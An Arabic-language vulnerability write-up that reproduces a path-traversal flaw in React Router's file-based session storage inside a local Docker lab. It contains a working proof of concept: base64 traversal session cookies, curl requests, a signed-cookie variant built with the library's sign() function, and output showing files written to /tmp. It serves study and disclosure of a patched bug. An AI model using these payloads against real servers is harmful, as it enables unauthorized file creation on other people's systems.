
ملف Dockerfile وPoC لإعادة إنتاج CVE-2025-61686
docker-compose up --build
docker-compose up
└─$ echo -en '"AAAA../../../tmp/flower"'|base64 -w0 | tr '+/' '-_' | tr -d '='
IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg' 'http://localhost:3001/'
root@de14139fdebf:/app# ls /tmp
flower
من خلال مقارنة النسختين المعنيتين بالثغرة 7.9.3 و7.9.4، يمكن ملاحظة أن السبب الرئيسي يعود إلى مشكلة في معالجة الـ session داخل الدالة getFile() في الملف react-router/packages/react-router-node/sessions/fileStorage.ts.
export function getFile(dir: string, id: string): string {
// Divide the session id up into a directory (first 2 bytes) and filename
// (remaining 6 bytes) to reduce the chance of having very large directories,
// which should speed up file access. This is a maximum of 2^16 directories,
// each with 2^48 files.
return path.join(dir, id.slice(0, 4), id.slice(4));
}
هنا يتم استخدام الأحرف الأربعة الأولى من الـ session كـ اسم المجلد، وما بعدها كـ اسم الملف، لذا يكفي للمهاجم فقط استخدام الطريقة التالية لتحقيق تجاوز المسار. وهذا ما يعنيه إعلان الثغرة عندما يقول إنه يمكن تحقيق تجاوز الدليل بسهولة في الحالة التي يسمح فيها الـ session بعدم استخدام secret. بالطبع، إذا تمكن المهاجم من الحصول على secret المستخدم لتشفير الـ session، فسيتمكن أيضًا من إنشاء حمولة التجاوز المقابلة.
>>> import os
>>> os.path.join("./sessions", "aaaa","../../tmp/flowerwitch")
'./sessions/aaaa/../../tmp/flowerwitch'
في حال الحصول على secret، يمكن الرجوع إلى دالة sign() واستخدام secret لتوقيع الـ PoC.
export const sign = async (value: string, secret: string): Promise<string> => {
let data = encoder.encode(value);
let key = await createKey(secret, ["sign"]);
let signature = await crypto.subtle.sign("HMAC", key, data);
let hash = btoa(String.fromCharCode(...new Uint8Array(signature))).replace(
/=+$/,
"",
);
return value + "." + hash;
};
أرسل طلبًا باستخدام الـ session المُولّد
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi8uLi90bXAvZmxvd2Vyd2l0Y2gi.L2ffutps16%2B3ENWvuWy4ZCouT%2BPSVeqmQOeaW%2FjziXg' 'http://localhost:3001/'
تأكيد تفعيل الثغرة
root@eb8750bd4a56:/tmp# ls
flowerwitch
البرنامج النصي لتوليد التوقيع use_secret_create_payload.js